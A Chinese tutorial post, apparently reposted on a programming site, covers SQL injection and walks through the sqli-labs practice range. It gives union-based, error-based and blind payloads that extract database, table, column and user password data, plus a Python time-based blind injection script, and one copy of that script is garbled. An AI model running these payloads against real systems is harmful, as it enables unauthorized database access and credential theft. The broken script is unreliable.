sql注入知识整理

sql注入知识整理

一、SQL注入概念

SQL注入就是用户输入的一些语句没有被过滤,输入后诸如这得到了数据库的信息SQL 注入是一种攻击方式,在这种攻击方式中,在字符串中插入恶意代码,然后将该字符串传递到 SQL Server 数据库引擎的实例以进行分析和执行。 任何构成 SQL 语句的过程都应进行注入漏洞检查,因为数据库引擎将执行其接收到的所有语法有效的查询。

工作原理:

SQL 注入的主要形式包括直接将代码插入到与 SQL 命令串联在一起并使其得以执行的用户输入变量。 一种间接的攻击会将恶意代码注入要在表中存储或作为元数据存储的字符串。 在存储的字符串随后串连到一个动态 SQL 命令中时,将执行该恶意代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。 由于插入的命令可能在执行前追加额外字符串,因此攻击者将用批注标记 -- 来标记终止注入的字符串。

二、sqllab靶场

在这里插入图片描述

联合注入

用order by检测列数,让第一个表查询为空,最终是为了注入管理员的账号密码,首先要管理员表名,要列名

我们需要注意的是在SQL注入中单引号,空格,#都会转义为%27,%20,%23

less-1/?id=1‘ order by 3--+

在这里插入图片描述
这里还能显示出来账号密码

less-1/?id=1‘ order by 4--+

在这里插入图片描述
这里黄色注释说明数据库一共只有三列。

然后利用联合查询

less-1/?id=-1'union select 1,2,3--+

使用 -1 作为 id 参数的原因通常是为了确保前面的查询部分没有返回任何有效的记录

在这里插入图片描述

现在我们就可以来爆破它的数据库名

less-1/?id=-1'union select 1,database(),version()--+

在这里插入图片描述

在这里插入图片描述

我们可以定位到这两个:

在这里插入图片描述

在这里插入图片描述

这里面有两张一个表名,一个是列名,于是我么可以尝试注入

less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述

less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述

less-1/?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

在这里插入图片描述

报错注入

less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+
  • updatexml 函数的第一个参数,它通常应该是一个 XML 类型的表达式,但在这里它被用作引发错误的方式。
  • 0x7e:这是十六进制表示的 ~ 字符。它用来在错误消息中包裹输出内容。
  • (SELECT database()):这是一个子查询,用于获取当前数据库的名称。
  • concat(…):将这些片段连接成一个字符串,形式为 数据库名
  • updatexml 函数的第三个参数,也是用来引发错误的方式。
  • group by分组
    在这里插入图片描述

盲注

SQL注入是一种安全漏洞,攻击者通过向应用程序的输入字段插入SQL命令,影响数据库的执行。盲注是一种特殊的SQL注入形式,它不需要直接从应用程序获取错误信息,而是通过时间延迟来推断数据库的响应。

盲注的种类通常包括:

  1. 基于布尔的盲注:攻击者使用条件表达式(如 AND (SELECT ...)=(SELECT ...))来判断查询是否返回结果,从而推断数据。
  2. 基于时间的盲注:攻击者使用SLEEP()函数或其他导致延迟的函数来判断查询是否返回结果。
  3. 基于错误的盲注:攻击者使用UNION SELECT查询来获取数据库的错误信息。

页面有真有假

在这里插入图片描述

在这里插入图片描述

less-8/?id=1'and ascii(substr((select database()),1,1))=115--+

在这里,substr((select database()),1,1) 表示从数据库名称中提取第一个字符,这里=号也可以换成< >符号进行判断

less-8/?id=1'and length((select database()))>9--+

主要用到substr,ascii,length函数。

可以通过二分查找的python脚本直接将数据库名跑出来:

l = 'http://127.0.0.1/sql/Less-9/index.php'def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)

通过修改payload再将列名跑出:


l = 'http://127.0.0.1/sql/Less-9/index.php'def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr((selectgroup_concat(table_namefrpm)information——schema。tables where table_schema=’security‘, %d, 1)) > %d--% (i, mid)res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)

POST注入

post注入本质在于将用户输入的数据作为代码执行。这种攻击通常发生在用户通过POST请求提交数据时,如果程序没有对用户输入进行适当的过滤或验证,攻击者就可以通过在提交的数据中插入恶意注入来访问、修改或删除数据库中的数据。POST注入的高危点包括登录框、查询框以及任何与数据库有交互的表单。

1、输入1’出现报错语句,发现注入点

在这里插入图片描述

2、爆出列数

在使用order时候,发现使用第三行排序时会报错

在这里插入图片描述

3、使用联合查询爆出数库名

-1' union select databane(),2#

在这里插入图片描述
在这里插入图片描述

4,爆出表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

在这里插入图片描述

5,爆出列字

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

在这里插入图片描述

6.出数据

-1' union select group_concat(username),group_concat(password) from users#

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/393136.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

递归.python

目录 一、认识递归 二、阶乘问题 三、经典例题&#xff1a;汉诺塔问题 一、认识递归 递归&#xff1a;即方法&#xff08;函数&#xff09;自己调用自己的一种特殊编程写法。 函数调用自己&#xff0c;即称之为递归调用。 def func(): If ....: func() return ..... 递归…

ESP8266使用舵机以及16路PWM舵机PCA 9685的使用方式

PWM全称 50Hz也就是一秒内变换50次 根据上面的公式 一个高电平一个低电平叫一个脉冲。 例如每个脉冲占20毫秒&#xff0c;那么他的频率是多少&#xff1f; 就是用1去除以他的周期&#xff0c;也就是我们上面说的20&#xff0c;那么就是除0.02,1秒等于1000毫秒&#xff0c;20…

PostgreSQL11 | 触发器

本文章代码已在pgsql11.22版本上运行且通过&#xff0c;展示页由pgAdmin8.4版本提供 上一篇总结了原著的第十章有关pgsql的视图的用法&#xff0c;本篇将总结pgsql的触发器的用法。 触发器 使用触发器可以自动化完成一些在插入数据或修改数据时&#xff0c;某些需要同期同步的…

bat批处理文件 —— 用于自动化环境配置和项目执行

文章目录 一、什么是 bat &#xff1f;1.1、支持 bat 的编辑软件1.2、常用命令 三、项目实战3.1、入门案例3.2、&#xff08;自动化&#xff09;环境配置与python库安装3.3、将 bat 当成一个简易的 .exe 可执行文件 四、标识符详解4.1、rem&#xff1a;添加注释4.2、echo off&a…

8.15 C++作业

输入一组字符&#xff0c;实现各字符的归类统计 #include <iostream> #include <string.h>using namespace std;namespace xiaoli {string str;int len; } using namespace xiaoli;int main() {getline(cin,str);//识别空格len str.size();int a0,b0,c0,d0,e0;fo…

【多线程-从零开始-肆】线程安全、加锁和死锁

进程状态 进程状态&#xff1a; 就绪&#xff1a;正在 CPU 上执行&#xff0c;或者随时可以去 CPU 上执行阻塞&#xff1a;暂时不能参与 CPU 的执行 Java 的线程&#xff0c;对应状态做了更详细的区分&#xff0c;不仅仅是就绪和阻塞了 六种状态&#xff1a; NEW 当前 Thread…

【PXE+kickstart】linux网络服务之自动装机

PXE&#xff1a; 简介&#xff1a;PXE(Preboot execute environment 是一种能够让计算机通过网络启动的引导方式&#xff0c;只要网卡支持PXE协议即可使用Kickstart 是一种无人值守的安装方式&#xff0c;工作原理就是预先把原本需要运维人员手工填写的参数保存成一个 ks.cfg 文…

基于强化学习算法玩CartPole游戏

什么事CartPole游戏 CartPole&#xff08;也称为倒立摆问题&#xff09;是一个经典的控制理论和强化学习的基础问题&#xff0c;通常用于测试和验证控制算法的性能。具体来说&#xff0c;它是一个简单的物理模拟问题&#xff0c;其目标是通过在一个平衡杆&#xff08;倒立摆&a…

PCIe学习笔记(15)

设备就绪状态 (Device Readiness Status&#xff0c;DRS)消息 &#xff08;Device Readiness Status (DRS) 是PCIe规范中引入的一种机制&#xff0c;旨在改进设备初始化和就绪状态的检测与报告。 在以往的PCIe版本中&#xff0c;系统通常依赖于固定的超时机制来判断设备是否已…

【ML】transform 之 encode 及其实现细节

transform 之 encode 及其实现细节 1. transform (seq2seq) 是什么2. transform (seq2seq) 具体如何实现3. transform (seq2seq) 可以解决哪些类型的问题4. 补充问题4.1 残差连接&#xff08;Residual Connection&#xff09;是什么如何实现4.1.2 残差连接的具体实现&#xff1…

2024年武汉东湖高新区职称第二批次开始了

众所周知&#xff0c;武汉市东湖高新区职称一年两批次&#xff0c;今年下半年第二批水平能力测试报名也已经开始了&#xff0c;请注意报名时间&#xff0c;别错过&#xff01;&#xff01; 2024年武汉东湖高新区第二批次水测报名时间&#xff1a;&#xff08;一&#xff09;网上…

第十一章 数据仓库和商务智能 10分

11.1.0语境关系图 11.1 Q 建立数据仓库&#xff0c;有哪些步骤&#xff1f;如何建设&#xff1f;【6 个步骤非常重要&#xff01;必须知道】 1. 理解需求&#xff08;P&#xff09;&#xff08;目的明确&#xff0c;ETL&#xff09; (1) 考虑业务目标和业务战略。 (2) 确定业…

FFMPEG 序列帧图片合成视频

需求&#xff1a; 将多张.png图片合成为视频 注意: 1需要Windows电脑 2将图片重命名 下载EXE 官网 https://ffmpeg.org/download.html#build-windows 解压后长这样 将图片和exe放在同一目录下 文件中找个空白地&#xff0c;Shift右键 进入PowerShell 输入命令: ./ffm…

Python 画 等高线图

Python 画 等高线图 flyfish 通过三维图形与投影等高线相结合的方式&#xff0c;能够直观地看到三维函数的形状以及在平面上等值线的分布。 等高线是一种用来表示三维表面在二维平面上的方法。它们是通过在固定高度&#xff08;或深度&#xff09;处切割三维表面来创建的平面…

Java零基础之多线程篇:不得不学的并发工具类!

哈喽&#xff0c;各位小伙伴们&#xff0c;你们好呀&#xff0c;我是喵手。运营社区&#xff1a;C站/掘金/腾讯云&#xff1b;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点&#xff0c;并以文字的形式跟大家一起交流&#xff0c;互相学习&#xff0c;一…

数学建模--智能算法之鱼群算法

目录 核心原理 应用与实现 实现步骤 性能分析与改进 鱼群算法在解决哪些具体优化问题方面表现最佳&#xff1f; 如何根据不同的应用场景调整鱼群算法的参数设置以提高其性能&#xff1f; 鱼群算法与其他群体智能优化算法&#xff08;如遗传算法、粒子群优化&#xff09;…

C++ | Leetcode C++题解之第316题去除重复字母

题目&#xff1a; 题解&#xff1a; class Solution { public:string removeDuplicateLetters(string s) {vector<int> vis(26), num(26);for (char ch : s) {num[ch - a];}string stk;for (char ch : s) {if (!vis[ch - a]) {while (!stk.empty() && stk.back(…

html+css前端作业和平精英2个页面(无js)

htmlcss前端作业和平精英2个页面&#xff08;无js&#xff09;有视频播放器等功能效果 网页作品代码简单&#xff0c;可使用任意HTML编辑软件&#xff08;如&#xff1a;Dreamweaver、HBuilder、Vscode 、Sublime 、Webstorm、Text 、Notepad 等任意html编辑软件进行运行及修改…

lvs的dr模式综合实践

目录 ​编辑虚拟机准备工作 ​编辑​编辑​编辑 配置过程 配置client主机 配置router主机 配置lvs主机&#xff08;vip使用环回来创建&#xff09; 配置server1主机&#xff08;vip使用环回来创建&#xff09; 配置server2主机&#xff08;vip使用环回来创建&#xff0…

《数据结构》(C语言版)第1章 绪论(下)

第1章 绪论 1.3 抽象数据类型的表示与实现1.4 算法与算法分析 1.3 抽象数据类型的表示与实现 数据类型 数据类型是一组性质相同的值的集合, 以及定义于这个集合上的一组运算的总称。 抽象数据类型(ADTs: Abstract Data Types) 更高层次的数据抽象。由用户定义&#xff0c;用…